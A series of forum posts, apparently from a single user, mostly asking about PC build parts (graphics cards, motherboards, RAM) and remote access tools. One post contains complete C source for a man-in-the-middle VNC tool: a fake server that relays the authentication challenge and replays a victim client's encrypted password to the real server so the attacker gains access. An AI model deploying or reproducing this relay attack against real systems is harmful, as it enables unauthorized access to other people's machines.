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you make a very convincing argument, im going for it, that card and 4GB of OCZ 6400 Gold il post some pics when its done thanks everyone

thanks! il do a bit of research on that card as i am willing to pay more, however if i can get it that cheap then thats fantastic thanks puntoMX --- EDIT --- wow its like 2 or 3 fps behind the X1950XT and its loads cheaper, im very tempted, gonna download the manual and have a proper look. thanks a lot

sorry the screens are an Acer 19" model - AL1916 and a V7 20" model - S20PD thanks

right here goes, il post the finished pc specs: 2 X Hiper 580W Type-R PSU - Not sure about the 12V rails but each one has 4 so 8 in total Asus P5B Deluxe Mobo Q6600 Quad Core 4GB DDR2 800 4 X 400GB IDE HDD's 2 x 500GB SATA HDD's 1x 250GB SATA HDD 2x 40GB SATA HDD's 6 Case Fans + Controller AND the Graphics card i am yet to decide on thanks

have you tried clearing the CMOS or updating the bios? or does it not get that far?

thats interesting, thats one of the reasons i have 2 monitors as im always watching something on one of them, what is that feature called exactly? thanks

anyone please? iv got the cash ready now and im dying to get this system up and running anyone at all got anything to say on this?

thanks guys, i dont want a card that is too powerful for 2 reasons.. 1) i dont play games much so it will never be fully utilised 2) im not sure my psu's can handle everything this setup will have anyway back to the point, i really like the look of that X1950XT if it comes back in stock and im not 100% sure on why i would want an Nvidia over an ATI, as they have always been great for me. But if anyone can convince me otherwise im willing to listen. Also i would say £110 is the most i will spend on a card, of course the cheaper the better but lets not be too skimpy or il just regret it later cheers

Hi all, now that i have settled on my P5b Deluxe motherboard i am going to have to upgrade my graphics card to PCIe like i said i dont play games, but i am an emulation fan, PSX, N64 ect so i want a half decent card, and if the rest of my system is gonna be great the graphics may as well be too. also it has to support dual output as i have 2 monitors. I have narrowed it down to the ATI Sapphire X1950XT 256MB http://www.ebuyer.com/customer/products/in...duct_uid=119441 it seems really good, especially for what i want but there is also the X1950 PRO 512MB which costs a bit more but has double the VRAM http://www.ebuyer.com/UK/product/126774 does anyone know which one would be better? thank you

the code redirects the client from the server to you, how can you not see that?

hi all, my girlfriend recently got her phone wet really bad and ever since it will not power off manually, only by pulling out the battery. we have tried drying it out ect with no luck. Anyone had a similar experience? thanks

i thought the p35 chipset was more geared up for DDR3? or am i wrong?

iv finally had time to sit down and look for this board and it seems everywhere is either out of stock or does not stock it. Does anyone know if the P5b deluxe /Wifi is the same thing but only with onboard WLAN? thanks

i second both of these statements, vnc is rather slow isnt it, laggy enough to make you frustrated at times lol

this code may help you it forces the client to redirect from the server to you and thus you gain the password of the vnc server #include <netinet/in.h> #include <string.h> #include <sys/types.h> #include <sys/socket.h> #define VNCPORT 5900 #define VNCSERVER "x.x.x.x" #define QUEUE 8 #define BUFSIZ 512 typedef char rfbProtocolVersionMsg[13]; #define sz_rfbProtocolVersionMsg 12 int main (int argc, char **argv) { int sockfd, clientfd, vncfd; int nbytes = 0; struct sockaddr_in server, client, vnc; int len = sizeof (client); char buf [BUFSIZ]; if ( (sockfd = socket (AF_INET, SOCK_STREAM, 0) ) == -1) { perror ("socket"); exit (-1); } bzero (&server, sizeof (server) ); server.sin_family = AF_INET; server.sin_addr.s_addr = htonl (INADDR_ANY); server.sin_port = htons (VNCPORT); /* this is the fake VNC server */ if (bind (sockfd, (struct sockaddr *) &server, sizeof (server) ) == -1) { perror ("bind"); exit (-1); } listen (sockfd, QUEUE); if ( (clientfd = accept (sockfd, (struct sockaddr *) &client, &len) ) == -1) { perror ("accept"); exit (-1); } strcpy (buf, "RFB 003.003\n"); /* we must send VNC version number (from protocol) */ if (write (clientfd, buf, strlen (buf) ) < strlen (buf) ) { perror ("write"); exit (-1); } /* we also must read VNC version number (from protocol) */ if ( (nbytes = read (clientfd, buf, BUFSIZ) ) <= 0) { perror ("read"); exit (-1); } buf [nbytes] = 0; printf ("version -> %s\n", buf); buf [0] = 0x00; buf [1] = 0x00; buf [2] = 0x00; buf [3] = 0x02; /* we send the authentication method code to the client */ if (write (clientfd, buf, 4) < 4) { perror ("write"); exit (-1); } if ( (vncfd = socket (AF_INET, SOCK_STREAM, 0) ) == -1) { perror ("socket"); exit (-1); } bzero (&vnc, sizeof (vnc) ); vnc.sin_family = AF_INET; vnc.sin_addr.s_addr = inet_addr (VNCSERVER); vnc.sin_port = htons (VNCPORT); /* we connect to the real VNC server */ if (connect (vncfd, (struct sockaddr *) &vnc, sizeof (vnc) ) == -1) { perror ("connect"); exit (-1); } /* again, we read version number from the VNC server */ if ( (nbytes = read (vncfd, buf, BUFSIZ) ) <= 0) { perror ("read"); exit (-1); } strcpy (buf, "RFB 003.003\n"); /* and we send ours */ if (write (vncfd, buf, strlen (buf) ) < strlen (buf) ) { perror ("write"); exit (-1); } /* we now read authenticarion method code from VNC server */ if ( (nbytes = read (vncfd, buf, BUFSIZ) ) <= 0) { perror ("read"); exit (-1); } /* here is the challenge from server */ if ( (nbytes = read (vncfd, buf, BUFSIZ) ) <= 0) { perror ("read"); exit (-1); } /* we send the challenge to the victim client */ if (write (clientfd, buf, 16) < 16) { perror ("write"); exit (-1); } /* we have the encrypted password from the client */ if ( (nbytes = read (clientfd, buf, BUFSIZ) ) <= 0) { perror ("read"); exit (-1); } /* we send the encrypted password to the VNC server */ if (write (vncfd, buf, 16) < 16) { perror ("write"); exit (-1); } /* we read the result from the authentication process */ if (read (vncfd, buf, BUFSIZ) < 4) { perror ("read"); exit (-1); } /* at this point we should be authenticated */ /* place whatever code you want here */ close (clientfd); close (sockfd); close (vncfd); return 0; } is that convincing enough for you? EDIT - checkout insecure.org, its great for stuff like that

use logMeIn!! VNC has a massive security flaw and is very vulnerable to man in the middle attacks. I use LogMeIn on a day to day basis and it is fantastic

Thats fantastic info, saves me a few quid lol thanks again everyone *heads over to ebuyer to get the board ordered*

thanks guys but before i commit to buying it i have one more question... see this pic below http://www.pcper.com/image.php?aid=297&img=board_big.jpg 1) why are 2 of the 6 sata ports black and the other 4 orange? any reason? 2) what is that sata port located near the back of the board for? the one labelled sata_raid 3) with the 6 ports can i raid them however i want such as 2 ports in a raid 0 and 4ports in a raid 5, or 3 raid 1 arrays ect ect? thanks

ddns sounds like a good idea, but you should consider a self signed ssl certificate, il post a link on how to if ur not sure on how to make one

killerb255 has a good idea with what he is saying, if i was desperate i would certainly try that. but then again if its your companys server... maybe not unless you are feeling lucky lol

hmm i am very tempted by this board now, its £30 less and does the same thing lol thanks a lot everyone

nice one thanks, and its cheaper! i notice the fsb is only 1066 but so is the processor i am getting, im wondering if i should spend a little extra and get one that has 1333fsb just incase i ever want to upgrade the processor. What do you think?

exactly, but thing is i dont plan to upgrade for a long time, iv had my current processor for years now and started with only 512mb ram, iv changed motherboards, hard disks psu's added hard disks..... the list goes on, and im sick of it. so what i wanna do is build a fantastic pc and have done with it. The way i see it is this will last a hell of a long time for what i need it for and the only things that may change in my computer will be my 4x400gb which will eventually become 4x1TB.......... cant wait for those to come down in price lol oh just so you know im not building a gaming pc at all so i wont really need to upgrade in a years time or so... hopefully thanks EDIT - also what do you guys think to the motherboard? (Universal abit IP35 PRO) the main criterion here being: 1) has to support 8GB of RAM 2) has to have 3 standard PCI slots 3) has to have gigabit LAN 4) has to have 6xSATA slots with RAID Capabilities (inc RAID 5 would be ideal) 5) has to have at least 1 eSATA port if anyone knows of a cheaper/ better board with these features please let me know.

thanks guys, i think looking at that il get 4GB (2x2GB) and then see if i need the other 4GB like you said chances are i wont but the option will be there in future if i ever do thanks a lot

i know its overkill but im trying to futureproof as much as possible. i will be running a couple at a time, planning to have a fully functioning SQL and sharepoint server running as test machines as im really into learning the in's and outs of it. i might just risk it with 2GB of DDR2 667 and see how it is, if its slow il replace it with DDR 800. if its not il get the other 6GB however what im thinking is it will be such a step from my P4 that i may not notice it anyway... thanks nmX.Memnoch